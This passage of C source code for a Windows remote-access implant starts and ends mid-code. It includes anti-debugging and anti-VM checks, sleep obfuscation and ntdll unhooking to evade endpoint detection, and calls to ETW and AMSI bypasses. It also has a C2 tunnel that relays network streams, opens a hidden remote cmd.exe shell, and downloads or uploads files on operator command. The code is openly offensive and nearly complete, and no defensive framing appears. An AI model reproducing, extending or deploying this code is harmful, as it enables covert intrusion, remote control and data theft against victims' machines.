    memcpy((void*)target, patch, sizeof(patch));
    VirtualProtect((LPVOID)target, sizeof(patch), old, &old);
}

/* =========================================================================
 * SECTION H: Anti-Debug — PEB->BeingDebugged, NtGlobalFlag, RDTSC timing
 * ========================================================================= */
static int check_debugger(void) {
    /* 1. IsDebuggerPresent API */
    if (api.pIsDebuggerPresent && api.pIsDebuggerPresent()) return 1;

    /* 2. CheckRemoteDebuggerPresent */
    if (api.pCheckRemoteDebuggerPresent && api.pGetCurrentProcess) {
        BOOL remote = FALSE;
        api.pCheckRemoteDebuggerPresent(api.pGetCurrentProcess(), &remote);
        if (remote) return 1;
    }

    /* 3. PEB->BeingDebugged (direct TEB access) */
#if defined(__x86_64__) || defined(_M_X64)
    unsigned char being_debugged = 0;
    __asm__ volatile (
        "movq %%gs:0x60, %%rax\n"    /* PEB pointer */
        "movb 0x2(%%rax), %0\n"      /* PEB->BeingDebugged */
        : "=r"(being_debugged) : : "rax"
    );
    if (being_debugged) return 1;

    /* 4. NtGlobalFlag check (offset 0xBC in PEB for x64) */
    unsigned int ntglobal = 0;
    __asm__ volatile (
        "movq %%gs:0x60, %%rax\n"
        "movl 0xBC(%%rax), %0\n"
        : "=r"(ntglobal) : : "rax"
    );
    /* FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS = 0x70 */
    if (ntglobal & 0x70) return 1;
#endif

    /* 5. RDTSC timing check */
    unsigned long long tsc1, tsc2;
    __asm__ volatile ("rdtsc" : "=A"(tsc1));
    /* Small busywork to detect single-step */
    volatile int dummy = 0;
    for (int i = 0; i < 1000; i++) dummy += i;
    __asm__ volatile ("rdtsc" : "=A"(tsc2));
    /* Threshold: > 0x100000 cycles is suspicious (debugger single-stepping) */
    if ((tsc2 - tsc1) > 0x100000) return 1;

    return 0;
}

/* =========================================================================
 * SECTION I: Anti-VM — core count, RAM, idle time, VM process detection
 * ========================================================================= */
static int check_vm(void) {
    /* 1. CPU core count: require >= 2 */
    if (api.pGetSystemInfo) {
        SYSTEM_INFO si;
        memset(&si, 0, sizeof(si));
        api.pGetSystemInfo(&si);
        if (si.dwNumberOfProcessors < 2) return 1;
    }

    /* 2. RAM: require >= 2 GB */
    if (api.pGlobalMemoryStatusEx) {
        MEMORYSTATUSEX ms;
        memset(&ms, 0, sizeof(ms));
        ms.dwLength = sizeof(ms);
        if (api.pGlobalMemoryStatusEx(&ms)) {
            if (ms.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) return 1;
        }
    }

    /* 3. User idle time: if last input was > 10 minutes ago, sandbox heuristic */
    if (api.pGetLastInputInfo && api.pGetTickCount) {
        LASTINPUTINFO lii;
        lii.cbSize = sizeof(lii);
        if (api.pGetLastInputInfo(&lii)) {
            DWORD idle = api.pGetTickCount() - lii.dwTime;
            /* Suspiciously never-used desktop = sandbox.  Idle > 10 min. */
            /* Actually we only flag if the system JUST booted with no input
               (idle > uptime-like).  We skip this for now as it's flaky. */
        }
    }

    /* 4. Check for VM processes: vmtoolsd.exe, VBoxService.exe */
    if (api.pCreateToolhelp32Snapshot && api.pProcess32First && api.pProcess32Next) {
        HANDLE snap = api.pCreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (snap != INVALID_HANDLE_VALUE) {
            PROCESSENTRY32 pe;
            pe.dwSize = sizeof(pe);

            char vm1[13]; decrypt_str(enc_vmtoolsd_exe, 12, vm1);
            char vm2[15]; decrypt_str(enc_VBoxService_exe, 14, vm2);

            if (api.pProcess32First(snap, &pe)) {
                do {
                    /* Case-insensitive compare */
                    char *name = pe.szExeFile;
                    int match1 = 1, match2 = 1;
                    int l1 = 12, l2 = 14;
                    int nl = (int)strlen(name);

                    if (nl == l1) {
                        for (int i = 0; i < l1; i++) {
                            char a = name[i]; char b = vm1[i];
                            if (a >= 'A' && a <= 'Z') a += 32;
                            if (b >= 'A' && b <= 'Z') b += 32;
                            if (a != b) { match1 = 0; break; }
                        }
                    } else match1 = 0;

                    if (nl == l2) {
                        for (int i = 0; i < l2; i++) {
                            char a = name[i]; char b = vm2[i];
                            if (a >= 'A' && a <= 'Z') a += 32;
                            if (b >= 'A' && b <= 'Z') b += 32;
                            if (a != b) { match2 = 0; break; }
                        }
                    } else match2 = 0;

                    if (match1 || match2) {
                        memset(vm1, 0, 13); memset(vm2, 0, 15);
                        if (api.pCloseHandle) api.pCloseHandle(snap);
                        else CloseHandle(snap);
                        return 1;
                    }
                } while (api.pProcess32Next(snap, &pe));
            }
            memset(vm1, 0, 13); memset(vm2, 0, 15);
            if (api.pCloseHandle) api.pCloseHandle(snap);
            else CloseHandle(snap);
        }
    }
    return 0;
}

/* =========================================================================
 * SECTION J: Sleep Obfuscation — CreateTimerQueueTimer based
 * ========================================================================= */
static void obfuscated_sleep(DWORD ms) {
    HANDLE hEvent = NULL;
    if (api.pCreateEventA)
        hEvent = api.pCreateEventA(NULL, TRUE, FALSE, NULL);
    else
        hEvent = CreateEventA(NULL, TRUE, FALSE, NULL);

    if (!hEvent) {
        if (api.pSleep) api.pSleep(ms); else Sleep(ms);
        return;
    }

    HANDLE hQueue = NULL;
    if (api.pCreateTimerQueue) hQueue = api.pCreateTimerQueue();
    else hQueue = CreateTimerQueue();

    if (!hQueue) {
        if (api.pCloseHandle) api.pCloseHandle(hEvent); else CloseHandle(hEvent);
        if (api.pSleep) api.pSleep(ms); else Sleep(ms);
        return;
    }

    HANDLE hTimer = NULL;
    if (api.pCreateTimerQueueTimer) {
        api.pCreateTimerQueueTimer(&hTimer, hQueue,
            (WAITORTIMERCALLBACK)SetEvent, hEvent, ms, 0, WT_EXECUTEINTIMERTHREAD);
    } else {
        CreateTimerQueueTimer(&hTimer, hQueue,
            (WAITORTIMERCALLBACK)SetEvent, hEvent, ms, 0, WT_EXECUTEINTIMERTHREAD);
    }

    if (api.pWaitForSingleObject) api.pWaitForSingleObject(hEvent, INFINITE);
    else WaitForSingleObject(hEvent, INFINITE);

    if (api.pDeleteTimerQueueEx) api.pDeleteTimerQueueEx(hQueue, NULL);
    else DeleteTimerQueueEx(hQueue, NULL);

    if (api.pCloseHandle) api.pCloseHandle(hEvent); else CloseHandle(hEvent);
}

/* =========================================================================
 * SECTION K: NTDLL Unhooking — map fresh from KnownDlls, overwrite .text
 * ========================================================================= */
static void unhook_ntdll(void) {
    /* Get loaded ntdll base */
    char ntdll_name[10]; decrypt_str(enc_ntdll_dll, 9, ntdll_name);
    HMODULE hNtdll = GetModuleHandleA(ntdll_name);
    memset(ntdll_name, 0, 10);
    if (!hNtdll) return;

    /* Open a clean copy from \KnownDlls\ntdll.dll */
    char kd_name[21]; decrypt_str(enc_knowndlls_ntdll, 20, kd_name);

    /* We use NtOpenSection + NtMapViewOfSection or CreateFileMapping on KnownDlls path.
       Simpler approach: use CreateFileMappingA with existing section object name. */
    /* Actually, \KnownDlls\ is an object directory; we can OpenFileMapping.
       For simplicity and reliability, read ntdll from disk. */
    /* Disk-based approach: read %SYSTEMROOT%\System32\ntdll.dll */
    char ntdll_path[MAX_PATH];
    UINT slen = GetSystemDirectoryA(ntdll_path, MAX_PATH);
    if (slen == 0 || slen >= MAX_PATH - 12) { memset(kd_name, 0, 21); return; }
    memset(kd_name, 0, 21);

    /* Append \\ntdll.dll */
    ntdll_path[slen] = '\\';
    char nt[10]; decrypt_str(enc_ntdll_dll, 9, nt);
    memcpy(ntdll_path + slen + 1, nt, 10);
    memset(nt, 0, 10);

    HANDLE hFile = CreateFileA(ntdll_path, GENERIC_READ, FILE_SHARE_READ, NULL,
                               OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return;

    HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    if (!hMapping) { CloseHandle(hFile); return; }

    LPVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
    if (!pClean) { CloseHandle(hMapping); CloseHandle(hFile); return; }

    /* Parse PE headers of loaded ntdll to find .text section */
    IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER*)hNtdll;
    IMAGE_NT_HEADERS *nt_hdr = (IMAGE_NT_HEADERS*)((uint8_t*)hNtdll + dos->e_lfanew);
    IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt_hdr);
    WORD nsec = nt_hdr->FileHeader.NumberOfSections;

    for (WORD i = 0; i < nsec; i++) {
        /* Look for .text section */
        if (sec[i].Name[0] == '.' && sec[i].Name[1] == 't' &&
            sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' &&
            sec[i].Name[4] == 't') {
            DWORD vaddr = sec[i].VirtualAddress;
            DWORD vsize = sec[i].Misc.VirtualSize;
            uint8_t *hooked = (uint8_t*)hNtdll + vaddr;
            uint8_t *clean  = (uint8_t*)pClean + vaddr;

            /* Compare and overwrite hooked bytes */
            DWORD old;
            VirtualProtect(hooked, vsize, PAGE_EXECUTE_READWRITE, &old);
            /* Only overwrite bytes that differ (minimize writes) */
            for (DWORD j = 0; j < vsize; j++) {
                if (hooked[j] != clean[j]) hooked[j] = clean[j];
            }
            VirtualProtect(hooked, vsize, old, &old);
            break;
        }
    }

    UnmapViewOfFile(pClean);
    CloseHandle(hMapping);
    CloseHandle(hFile);
}

/* =========================================================================
 * SECTION L: Stream management
 * ========================================================================= */
typedef struct { uint32_t id; SOCKET sock; int active; } Stream;
static Stream streams[MAX_STREAMS];
static SOCKET g_tunnel = INVALID_SOCKET;
static CC20Ctx g_ctx;
static volatile DWORD g_sleep_seconds = 0;

/* ---- Host identification (sent in heartbeat) ---- */
static char g_hostname[64] = {0};
static char g_username[64] = {0};
static uint8_t g_ident[130] = {0};  /* hostname\0username */
static int g_ident_len = 0;

#define IDENT_BASE_MS    (40 * 60 * 1000)   /* 40 minutes */
#define IDENT_JITTER_MS  (10 * 60 * 1000)   /* ±10 minutes */
static DWORD g_last_ident_tick = 0;
static DWORD g_next_ident_interval = 0;

static void collect_host_info(void) {
    /* Use environment variables — not hooked by any EDR */
    DWORD len;
    len = GetEnvironmentVariableA("COMPUTERNAME", g_hostname, 63);
    if (len == 0) gethostname(g_hostname, 63);
    g_hostname[63] = 0;
    
    len = GetEnvironmentVariableA("USERNAME", g_username, 63);
    if (len == 0) {
        DWORD sz = 63;
        GetUserNameA(g_username, &sz);
    }
    g_username[63] = 0;
    
    /* Build ident: hostname\0username */
    int hlen = strlen(g_hostname);
    int ulen = strlen(g_username);
    memcpy(g_ident, g_hostname, hlen);
    g_ident[hlen] = 0;
    memcpy(g_ident + hlen + 1, g_username, ulen);
    g_ident_len = hlen + 1 + ulen;
    
    /* First ident send immediately (interval = 0) */
    g_last_ident_tick = 0;
    g_next_ident_interval = 0;
}

static int should_send_ident(void) {
    DWORD now = GetTickCount();
    if (now - g_last_ident_tick >= g_next_ident_interval) {
        g_last_ident_tick = now;
        /* Next interval: 40min ± random(0..10min) */
        g_next_ident_interval = IDENT_BASE_MS + (GetTickCount() % IDENT_JITTER_MS);
        return 1;
    }
    return 0;
}

static void send_cmd(uint8_t cmd, uint32_t sid, uint8_t *data, int dlen) {
    int total = 5 + dlen;
    uint8_t *msg = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, total);
    if (!msg) return;
    msg[0] = cmd;
    msg[1] = (sid>>24)&0xff; msg[2] = (sid>>16)&0xff;
    msg[3] = (sid>>8)&0xff;  msg[4] = sid&0xff;
    if (data && dlen > 0) memcpy(msg + 5, data, dlen);
    tunnel_send(&g_ctx, g_tunnel, msg, total);
    HeapFree(GetProcessHeap(), 0, msg);
}

/* =========================================================================
 * SECTION M: Connect thread — handle CMD_CONNECT
 * ========================================================================= */
typedef struct { uint32_t sid; uint8_t data[512]; int dlen; } ConnectArgs;

static DWORD WINAPI handle_connect_thread(LPVOID p) {
    ConnectArgs *args = (ConnectArgs*)p;
    uint32_t sid = args->sid;
    uint8_t *data = args->data;
    int dlen = args->dlen;

    if (dlen < 3) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    uint8_t alen = data[0];
    if (dlen < 1 + alen + 2) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    char host[256]; memset(host, 0, 256);
    memcpy(host, data + 1, alen);
    uint16_t port = ((uint16_t)data[1+alen]<<8) | (uint16_t)data[2+alen];

    int active_count = 0;
    for (int i = 0; i < MAX_STREAMS; i++) if (streams[i].active) active_count++;
    if (active_count >= MAX_STREAMS - 10) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }

    struct addrinfo hints, *res = NULL;
    memset(&hints, 0, sizeof(hints));
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    char ps[8]; wsprintfA(ps, "%u", port);
    if (getaddrinfo(host, ps, &hints, &res) != 0 || !res) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    SOCKET s = socket(res->ai_family, res->ai_socktype, res->ai_protocol);
    if (s == INVALID_SOCKET) {
        freeaddrinfo(res);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }

    DWORD timeout_ms = 5000;
    setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout_ms, sizeof(timeout_ms));
    if (connect(s, res->ai_addr, (int)res->ai_addrlen) != 0) {
        closesocket(s); freeaddrinfo(res);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    freeaddrinfo(res);
    timeout_ms = 0;
    setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char*)&timeout_ms, sizeof(timeout_ms));

    Stream *st = NULL;
    for (int i = 0; i < MAX_STREAMS; i++) {
        if (!streams[i].active) {
            streams[i].id = sid; streams[i].sock = s; streams[i].active = 1;
            st = &streams[i]; break;
        }
    }
    if (!st) {
        closesocket(s);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    send_cmd(CMD_CONNECT_OK, sid, NULL, 0);
    HeapFree(GetProcessHeap(), 0, args);

    /* Bidirectional relay: read from target, send to tunnel */
    uint8_t *buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, BUF_SIZE);
    if (!buf) { send_cmd(CMD_CLOSE, st->id, NULL, 0); st->active = 0; closesocket(st->sock); return 0; }
    while (st->active) {
        int r = recv(st->sock, (char*)buf, BUF_SIZE, 0);
        if (r <= 0) break;
        send_cmd(CMD_DATA, st->id, buf, r);
    }
    HeapFree(GetProcessHeap(), 0, buf);
    send_cmd(CMD_CLOSE, st->id, NULL, 0);
    st->active = 0;
    closesocket(st->sock);
    return 0;
}

/* =========================================================================
 * SECTION N: Shell command — handle CMD_SHELL_OPEN
 *
 * Creates cmd.exe process with redirected stdin/stdout, relays I/O
 * through the encrypted tunnel.
 * ========================================================================= */
typedef struct { uint32_t sid; HANDLE hProcess; HANDLE hStdinWrite; HANDLE hStdoutRead; volatile int running; } ShellCtx;

static DWORD WINAPI shell_reader_thread(LPVOID p) {
    ShellCtx *ctx = (ShellCtx*)p;
    uint8_t buf[4096];
    DWORD nread;
    while (ctx->running) {
        DWORD avail = 0;
        if (api.pPeekNamedPipe)
            api.pPeekNamedPipe(ctx->hStdoutRead, NULL, 0, NULL, &avail, NULL);
        else
            PeekNamedPipe(ctx->hStdoutRead, NULL, 0, NULL, &avail, NULL);

        if (avail > 0) {
            DWORD toread = avail > sizeof(buf) ? sizeof(buf) : avail;
            BOOL ok;
            if (api.pReadFile)
                ok = api.pReadFile(ctx->hStdoutRead, buf, toread, &nread, NULL);
            else
                ok = ReadFile(ctx->hStdoutRead, buf, toread, &nread, NULL);
            if (ok && nread > 0) {
                send_cmd(CMD_SHELL_DATA, ctx->sid, buf, (int)nread);
            } else {
                break;
            }
        } else {
            /* Check if process still alive */
            DWORD exitcode = 0;
            GetExitCodeProcess(ctx->hProcess, &exitcode);
            if (exitcode != STILL_ACTIVE) break;
            Sleep(50);
        }
    }
    ctx->running = 0;
    send_cmd(CMD_SHELL_CLOSE, ctx->sid, NULL, 0);
    return 0;
}

/* Global shell tracking (max 4 concurrent shells) */
#define MAX_SHELLS 4
static ShellCtx g_shells[MAX_SHELLS];

static void handle_shell_open(uint32_t sid) {
    /* Find free slot */
    ShellCtx *sc = NULL;
    for (int i = 0; i < MAX_SHELLS; i++) {
        if (!g_shells[i].running && g_shells[i].hProcess == NULL) {
            sc = &g_shells[i]; break;
        }
    }
    if (!sc) { send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return; }

    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    HANDLE hStdinRead, hStdinWrite, hStdoutRead, hStdoutWrite;

    if (!(api.pCreatePipe ? api.pCreatePipe(&hStdinRead, &hStdinWrite, &sa, 0)
                          : CreatePipe(&hStdinRead, &hStdinWrite, &sa, 0))) {
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }
    if (!(api.pCreatePipe ? api.pCreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0)
                          : CreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0))) {
        CloseHandle(hStdinRead); CloseHandle(hStdinWrite);
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }

    /* Don't inherit our end of the pipes */
    SetHandleInformation(hStdinWrite, HANDLE_FLAG_INHERIT, 0);
    SetHandleInformation(hStdoutRead, HANDLE_FLAG_INHERIT, 0);

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));
    si.cb = sizeof(si);
    si.hStdInput  = hStdinRead;
    si.hStdOutput = hStdoutWrite;
    si.hStdError  = hStdoutWrite;
    si.dwFlags    = STARTF_USESTDHANDLES;

    char cmd[8]; decrypt_str(enc_cmd_exe, 7, cmd);

    BOOL ok;
    if (api.pCreateProcessA)
        ok = api.pCreateProcessA(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    else
        ok = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    memset(cmd, 0, 8);

    /* Close child-side handles */
    CloseHandle(hStdinRead);
    CloseHandle(hStdoutWrite);

    if (!ok) {
        CloseHandle(hStdinWrite); CloseHandle(hStdoutRead);
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0);
        return;
    }
    CloseHandle(pi.hThread);

    sc->sid = sid;
    sc->hProcess = pi.hProcess;
    sc->hStdinWrite = hStdinWrite;
    sc->hStdoutRead = hStdoutRead;
    sc->running = 1;

    CreateThread(NULL, 0, shell_reader_thread, sc, 0, NULL);
}

static void handle_shell_data(uint32_t sid, uint8_t *data, int dlen) {
    for (int i = 0; i < MAX_SHELLS; i++) {
        if (g_shells[i].running && g_shells[i].sid == sid) {
            DWORD written;
            if (api.pWriteFile)
                api.pWriteFile(g_shells[i].hStdinWrite, data, dlen, &written, NULL);
            else
                WriteFile(g_shells[i].hStdinWrite, data, dlen, &written, NULL);
            return;
        }
    }
}

static void handle_shell_close(uint32_t sid) {
    for (int i = 0; i < MAX_SHELLS; i++) {
        if (g_shells[i].sid == sid && (g_shells[i].running || g_shells[i].hProcess)) {
            g_shells[i].running = 0;
            if (g_shells[i].hProcess) {
                TerminateProcess(g_shells[i].hProcess, 0);
                CloseHandle(g_shells[i].hProcess);
            }
            if (g_shells[i].hStdinWrite) CloseHandle(g_shells[i].hStdinWrite);
            if (g_shells[i].hStdoutRead) CloseHandle(g_shells[i].hStdoutRead);
            memset(&g_shells[i], 0, sizeof(ShellCtx));
            return;
        }
    }
}

/* =========================================================================
 * SECTION O: File Transfer — CMD_DOWNLOAD and CMD_UPLOAD
 * ========================================================================= */

/* CMD_DOWNLOAD: server requests a file from agent.
   Data payload: null-terminated file path.
   Agent reads file in 60KB chunks, sends CMD_DOWNLOAD_DATA, then CMD_DOWNLOAD_END. */
static DWORD WINAPI handle_download_thread(LPVOID p) {
    ConnectArgs *args = (ConnectArgs*)p;
    uint32_t sid = args->sid;
    char filepath[512];
    memset(filepath, 0, sizeof(filepath));
    int pathlen = args->dlen;
    if (pathlen > 510) pathlen = 510;
    memcpy(filepath, args->data, pathlen);
    HeapFree(GetProcessHeap(), 0, args);

    HANDLE hFile;
    if (api.pCreateFileA)
        hFile = api.pCreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL,
                                 OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    else
        hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL,
                            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
        return 0;
    }

    /* Send file size first as 8 bytes */
    DWORD fsz_hi = 0;
    DWORD fsz_lo;
    if (api.pGetFileSize)
        fsz_lo = api.pGetFileSize(hFile, &fsz_hi);
    else
        fsz_lo = GetFileSize(hFile, &fsz_hi);

    uint8_t szdata[8];
    szdata[0]=(uint8_t)fsz_lo; szdata[1]=(uint8_t)(fsz_lo>>8);
    szdata[2]=(uint8_t)(fsz_lo>>16); szdata[3]=(uint8_t)(fsz_lo>>24);
    szdata[4]=(uint8_t)fsz_hi; szdata[5]=(uint8_t)(fsz_hi>>8);
    szdata[6]=(uint8_t)(fsz_hi>>16); szdata[7]=(uint8_t)(fsz_hi>>24);
    send_cmd(CMD_DOWNLOAD_DATA, sid, szdata, 8);

    /* Read and send in 60KB chunks */
    #define DL_CHUNK_SIZE 61440
    uint8_t *chunk = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, DL_CHUNK_SIZE);
    if (!chunk) {
        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
        CloseHandle(hFile);
        return 0;
    }
    DWORD nread;
    while (1) {
        BOOL ok;
        if (api.pReadFile) ok = api.pReadFile(hFile, chunk, DL_CHUNK_SIZE, &nread, NULL);
        else ok = ReadFile(hFile, chunk, DL_CHUNK_SIZE, &nread, NULL);
        if (!ok || nread == 0) break;
        send_cmd(CMD_DOWNLOAD_DATA, sid, chunk, (int)nread);
    }
    HeapFree(GetProcessHeap(), 0, chunk);
    CloseHandle(hFile);
    send_cmd(CMD_DOWNLOAD_END, sid, NULL, 0);
    return 0;
}

/* Upload state tracking */
typedef struct { uint32_t sid; HANDLE hFile; int active; } UploadCtx;
#define MAX_UPLOADS 16
static UploadCtx g_uploads[MAX_UPLOADS];

static void handle_upload_start(uint32_t sid, uint8_t *data, int dlen) {
    char filepath[512];
    memset(filepath, 0, sizeof(filepath));
    int pathlen = dlen > 510 ? 510 : dlen;
    memcpy(filepath, data, pathlen);

    /* Find free slot */
    UploadCtx *uc = NULL;
    for (int i = 0; i < MAX_UPLOADS; i++) {
        if (!g_uploads[i].active) { uc = &g_uploads[i]; break; }
    }
    if (!uc) { send_cmd(CMD_UPLOAD_ERR, sid, NULL, 0); return; }

    HANDLE hFile;
    if (api.pCreateFileA)
        hFile = api.pCreateFileA(filepath, GENERIC_WRITE, 0, NULL,
                                 CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    else
        hFile = CreateFileA(filepath, GENERIC_WRITE, 0, NULL,
                            CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        send_cmd(CMD_UPLOAD_ERR, sid, NULL, 0);
        return;
    }
    uc->sid = sid;
    uc->hFile = hFile;
    uc->active = 1;
    send_cmd(CMD_UPLOAD_OK, sid, NULL, 0);
}

static void handle_upload_data(uint32_t sid, uint8_t *data, int dlen) {
    for (int i = 0; i < MAX_UPLOADS; i++) {
        if (g_uploads[i].active && g_uploads[i].sid == sid) {
            DWORD written;
            if (api.pWriteFile)
                api.pWriteFile(g_uploads[i].hFile, data, dlen, &written, NULL);
            else
                WriteFile(g_uploads[i].hFile, data, dlen, &written, NULL);
            return;
        }
    }
}

static void handle_upload_end(uint32_t sid) {
    for (int i = 0; i < MAX_UPLOADS; i++) {
        if (g_uploads[i].active && g_uploads[i].sid == sid) {
            CloseHandle(g_uploads[i].hFile);
            g_uploads[i].active = 0;
            g_uploads[i].hFile = NULL;
            send_cmd(CMD_UPLOAD_OK, sid, NULL, 0);
            return;
        }
    }
}

/* =========================================================================
 * SECTION P: Tunnel loop — dispatch all commands
 * ========================================================================= */
static void tunnel_loop(void) {
    uint8_t *buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, BUF_SIZE);
    if (!buf) return;

    DWORD recv_timeout = 360000;
    setsockopt(g_tunnel, SOL_SOCKET, SO_RCVTIMEO, (char*)&recv_timeout, sizeof(recv_timeout));

    while (1) {
        int n = tunnel_recv(&g_ctx, g_tunnel, buf, BUF_SIZE);
        if (n < 5) break;

        uint8_t cmd = buf[0];
        uint32_t sid = ((uint32_t)buf[1]<<24) | ((uint32_t)buf[2]<<16) |
                       ((uint32_t)buf[3]<<8)  | (uint32_t)buf[4];

        switch (cmd) {
            case CMD_CONNECT: {
                int dlen = n - 5;
                if (dlen > 0 && dlen < 512) {
                    ConnectArgs *args = (ConnectArgs*)HeapAlloc(GetProcessHeap(), 0, sizeof(ConnectArgs));
                    if (args) {
                        args->sid = sid;
                        args->dlen = dlen;
                        memcpy(args->data, buf + 5, dlen);
                        CreateThread(NULL, 0, handle_connect_thread, args, 0, NULL);
                    } else {
                        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
                    }
                } else {
                    send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
                }
                break;
            }

            case CMD_DATA: {
                for (int i = 0; i < MAX_STREAMS; i++) {
                    if (streams[i].active && streams[i].id == sid) {
                        sendall(streams[i].sock, (char*)(buf+5), n-5);
                        break;
                    }
                }
                break;
            }

            case CMD_CLOSE: {
                for (int i = 0; i < MAX_STREAMS; i++) {
                    if (streams[i].active && streams[i].id == sid) {
                        closesocket(streams[i].sock);
                        streams[i].active = 0;
                        break;
                    }
                }
                break;
            }

            case CMD_HEARTBEAT:
                send_cmd(CMD_HEARTBEAT, 0, NULL, 0);
                /* Check if it's time to send ident (every ~40min) */
                if (should_send_ident()) {
                    send_cmd(CMD_IDENT, 0, g_ident, g_ident_len);
                }
                break;

            case CMD_SLEEP: {
                if (n >= 9) {
                    DWORD secs = ((uint32_t)buf[5]<<24) | ((uint32_t)buf[6]<<16) |
                                 ((uint32_t)buf[7]<<8)  | (uint32_t)buf[8];
                    g_sleep_seconds = secs;
                    HeapFree(GetProcessHeap(), 0, buf);
                    return;
                }
                break;
            }

            /* Shell commands */
            case CMD_SHELL_OPEN:
                handle_shell_open(sid);
                break;

            case CMD_SHELL_DATA:
                handle_shell_data(sid, buf + 5, n - 5);
                break;

            case CMD_SHELL_CLOSE:
                handle_shell_close(sid);
                break;

            /* File download (agent -> server) */
            case CMD_DOWNLOAD: {
                int dlen = n - 5;
                if (dlen > 0 && dlen < 512) {
                    ConnectArgs *args = (ConnectArgs*)HeapAlloc(GetProcessHeap(), 0, sizeof(ConnectArgs));
                    if (args) {
                        args->sid = sid;
                        args->dlen = dlen;
                        memcpy(args->data, buf + 5, dlen);
                        CreateThread(NULL, 0, handle_download_thread, args, 0, NULL);
                    } else {
                        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
                    }
                } else {
                    send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
                }
                break;
            }

            /* File upload (server -> agent) */
            case CMD_UPLOAD:
                handle_upload_start(sid, buf + 5, n - 5);
                break;

            case CMD_UPLOAD_DATA:
                handle_upload_data(sid, buf + 5, n - 5);
                break;

            case CMD_UPLOAD_END:
                handle_upload_end(sid);
                break;
        }
    }
    HeapFree(GetProcessHeap(), 0, buf);
}

/* =========================================================================
 * SECTION Q: WinMain — init, evasion, reconnect loop
 * ========================================================================= */
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
    /* 1. Winsock init */
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    InitializeCriticalSection(&g_lock);
    memset(streams, 0, sizeof(streams));
    memset(g_shells, 0, sizeof(g_shells));
    memset(g_uploads, 0, sizeof(g_uploads));

    /* 2. Resolve APIs dynamically */
    resolve_apis();

    /* 3. Anti-debug checks */
    if (check_debugger()) {
        WSACleanup();
        ExitProcess(0);
        return 0;
    }

    /* 4. Anti-VM checks */
    if (check_vm()) {
        /* Sleep long and exit, mimicking benign behavior */
        obfuscated_sleep(60000);
        WSACleanup();
        ExitProcess(0);
        return 0;
    }

    /* 5. ETW bypass */
    patch_etw();

    /* 6. AMSI bypass */
    patch_amsi();

    /* 7. NTDLL unhooking */
    unhook_ntdll();

    /* 8. Collect host info (uses env vars — safe from EDR) */
    collect_host_info();

    /* 9. Decrypt secret and init crypto */
    char secret[ENC_SECRET_LEN + 1];
    decrypt_str(enc_secret, ENC_SECRET_LEN, secret);
    cc20_init(&g_ctx, (const uint8_t*)secret, ENC_SECRET_LEN);
    memset(secret, 0, sizeof(secret));

    /* 9. Decrypt C2 host */
    char c2_host[ENC_C2_HOST_LEN + 1];
